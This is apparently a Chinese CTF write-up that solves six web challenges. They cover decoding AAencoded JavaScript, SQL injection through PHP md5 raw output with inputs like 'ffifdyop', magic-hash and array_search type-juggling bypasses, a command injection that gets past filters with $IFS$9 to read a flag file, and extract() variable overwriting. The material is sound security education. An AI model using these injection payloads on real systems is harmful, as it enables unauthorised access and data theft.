吉警网络安全web方向wp

第一题

考点

1. js的解读
2. AAencode的解密

解题

打开页面是个2048的小游戏，直接 `ctrl+u` 查看源码，看到了提示

> 这个游戏使用js写的哦，快去康康咋回事吧

那这里看到了三个有用js文件

```
<script type="text/javascript"  src="support2048.js"></script>
<script type="text/javascript" src="showanimation2048.js"></script>
<script type="text/javascript" src="main2048.js"></script>
    <header>
```

最后在 `main2048.js` 里找到了有用的信息

```
function gamewin(){
    ﾟωﾟ/= /｀m´）/ ~┻┻   //*´∇｀*/ ['_']; o=(ﾟｰﾟ)  =_=3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟДﾟ) =(ﾟΘﾟ)= (o^_^)/ (o^_^);(ﾟДﾟ)={ﾟΘﾟ: '_' ,ﾟωﾟ/ : ((ﾟωﾟ/==3) +'_') [ﾟΘﾟ] ,ﾟｰﾟ/ :(ﾟωﾟ/+ '_')[o^_^ -(ﾟΘﾟ)] ,ﾟДﾟ/:((ﾟｰﾟ==3) +'_')[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟ
Θﾟ] =((ﾟωﾟ/==3) +'_') [c^_^];(ﾟДﾟ) [ﾟcﾟ] = ((ﾟДﾟ)+'_') [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) [ﾟoﾟ] = ((ﾟДﾟ)+'_') [ﾟΘﾟ];(ﾟoﾟ)=(ﾟДﾟ) [ﾟcﾟ]+(ﾟДﾟ) [ﾟoﾟ]+(ﾟωﾟ/ +'_')[ﾟΘﾟ]+ ((ﾟωﾟ/==3) +'_') [ﾟｰﾟ] + ((ﾟДﾟ) +'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ==3) +'_') [ﾟ
Θﾟ]+((ﾟｰﾟ==3) +'_') [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) [ﾟcﾟ]+((ﾟДﾟ)+'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) [ﾟoﾟ]+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ];(ﾟДﾟ) [ﾟ_ﾟ] =(o^_^o) [ﾟoﾟ] [ﾟoﾟ];(ﾟεﾟ)=((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟ/+((ﾟДﾟ)+'_') [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ==3) +'_')
[o^_^o -ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟωﾟ/ +'_') [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]='\\'; (ﾟДﾟ).ﾟΘﾟ/=(ﾟДﾟ+ ﾟｰﾟ)[o^_^o -(ﾟΘﾟ)];(oﾟｰﾟo)=(ﾟωﾟ/ +'_')[c^_^o];(ﾟДﾟ) [ﾟoﾟ]='\"';(ﾟДﾟ) [ﾟ_ﾟ] ( (ﾟДﾟ) [ﾟ_ﾟ] (ﾟεﾟ+(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟ
ｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+
(c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟ
ｰﾟ) + (o^_^o))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (o^_^o))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (o^_^o)+ ((ﾟｰﾟ) +
(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (o^_^o))+ (o^_^o)+ (ﾟ
ｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (o^_^o))+ (o^_^o)+
(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (ﾟ
Дﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)
[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟ
ｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((
ｰﾟ) + (ﾟΘﾟ))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟ
ｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟ
ｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟ
ｰﾟ) + (ﾟΘﾟ))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟ
ｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (o^_^o))+ (o^_^o)+ (ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ))
('_');
}
```

经典的 `aaencode` 编码，直接解码得到flag

加 密

```
alert('flag{2048_1s_fun}');
console.log('HEBTUCTF{Aaenc0de_1s_FuN}');
```

第二题

考点

1. md5($pass,true)的绕过

解题

查看源码看到提示

```
header('hint:select * from \'admin\' where password='.'md5($pass,true)');
```

对于php中的md5函数，其有两个参数

1. 第一个参数string是必需的，规定要计算的字符串
2. 第二个参数raw可选，规定十六进制或二进制输出格式
    - TRUE – 原始 – 16 字符二进制格式
    - FALSE – 默认 – 32 字符十六进制数

且当以二进制格式输出时，会被当作 字符串 所处理

这样我们只要找到一个字符串，让其md5值以原始二进制格式输出（被当作字符串）时含有能触发SQL注入的特殊字符即可

这里提供两个

```
content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
string: T0Do#'or'8
```

```
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b
```

提交其中任意一个即可得到flag

第三题

考点

1. php中的弱类型比较

解题

源码看到

```
$a = $_GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b))
```

要让上面的等式成立，a和b的值不能相等，但是md5后的值相等。因为是==比较，只判断值是否相等，不判断类型是否相同。如果类型不同先转换为相同类型再进行比较而PHP在处理哈希字符串时后，会把 `0E` 开头的哈希值解释为0。所以如果两个值通过md5后值都已0E开头，就会相等

```
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
```

这些均可满足题意

最后只要构造 `a=QNKCDZO&&b=240610708` 就可以绕过

```
这题其实直接给出了结果

<script>('./ffllaagg.php')</script>
```

第四题

考点

1. 弱类型绕过array_search

解题

```php
<?php
show_source(__FILE__);
@include_once 'flag.php';
//PHP是最好的语言
    $giao = 0;
if($_GET['a']!=$_GET['b'] &&md5($_GET['a']) == md5($_GET['b'])){
    $giao = 1;}
    else {echo'bypass';}
    if(@!is_array($_GET['test'])){exit();}
 $test=$_GET['test'];
 for($i=0;$i<count($test);$i++){
     if($test[$i]==="admin"){
         echo "error";
         exit();
     }
     $test[$i]=intval($test[$i]);
 }
 if(array_search("admin",$test)===0){
     echo "$flag";
 }
 else{
     echo "false";
 }
?>
```

md5的绕过与上题相同，这里可以看到array_search只指定了两个参数，并没有开启严格检查，存在弱类型比较

> 根据php手册，如果可选的第三个参数 strict 为 TRUE，则
> array_search() 将在 haystack
> 中检查完全相同的元素。
> 这意味着同样严格比较 haystack 里 needle 的 类型，并且对象需是同一个实例。
> 也就是说当为False时存在弱类型的漏洞，而当其为True时，则不存在此漏洞

以上题目采用 `test[]=0` 可以绕过

第五题

考点

1. linux中空格的替代
2. 过滤目录分隔符

解题

rce的题，能看到过滤了 `空格` 和 `'/'`

空格我们可以用 IFS9 来替代，目录分隔符我们可以cd进目录从而绕过

先 ;lsIFS9-alt 看下目录看下

```
Array
(
    [0] => total 44
    [1] => drwxrwxrwx    1 www-data www-data      4096 Jul 31 03:40 .
    [2] => -rwxrwxrwx    1 www-data www-data     22083 Jul 31 03:32 EDS.php
    [3] => -rw-r--r--    1 www-data www-data      2381 Jul 31 03:02 1.php
    [4] => -rw-r--r--    1 www-data www-data         0 Jul 31 02:31 -alt
    [5] => drwxr-xr-x    2 root     root          4096 Jul 28 05:41 flag
    [6] => -rw-r--r--    1 root     root           713 Jul 28 05:41 index.php
    [7] => drwxr-xr-x    1 root     root          4096 Oct 31  2019 ..
)
```

再看下flag目录

```
Array
(
    [0] => flag.php
)
```

直接读即可

```
payload

;cd$IFS$9flag&&cat$IFS$9flag.php
```

第六题

考点

1. extract 变量覆盖

解题

```
extract($_GET);
if(isset($sys))
{
$content=trim(file_get_contents($flag));
if($sys==$content)
{
echo $flag;
}
else
{
echo'Oh.no';
}
}
```

题目使用了extract($_GET)接收了GET请求中的数据，并将键名和键值转换为变量名和变量的值，然后再进行两个if 的条件判断，所以可以使用GET提交参数和值，利用extract()对变量进行覆盖，从而满足各个条件

但是 extract()会把符号表中已存在的变量名的值替换掉，可以利用新传入的值为空的flag替换原有的flag的值

payload: `?sys=&flag`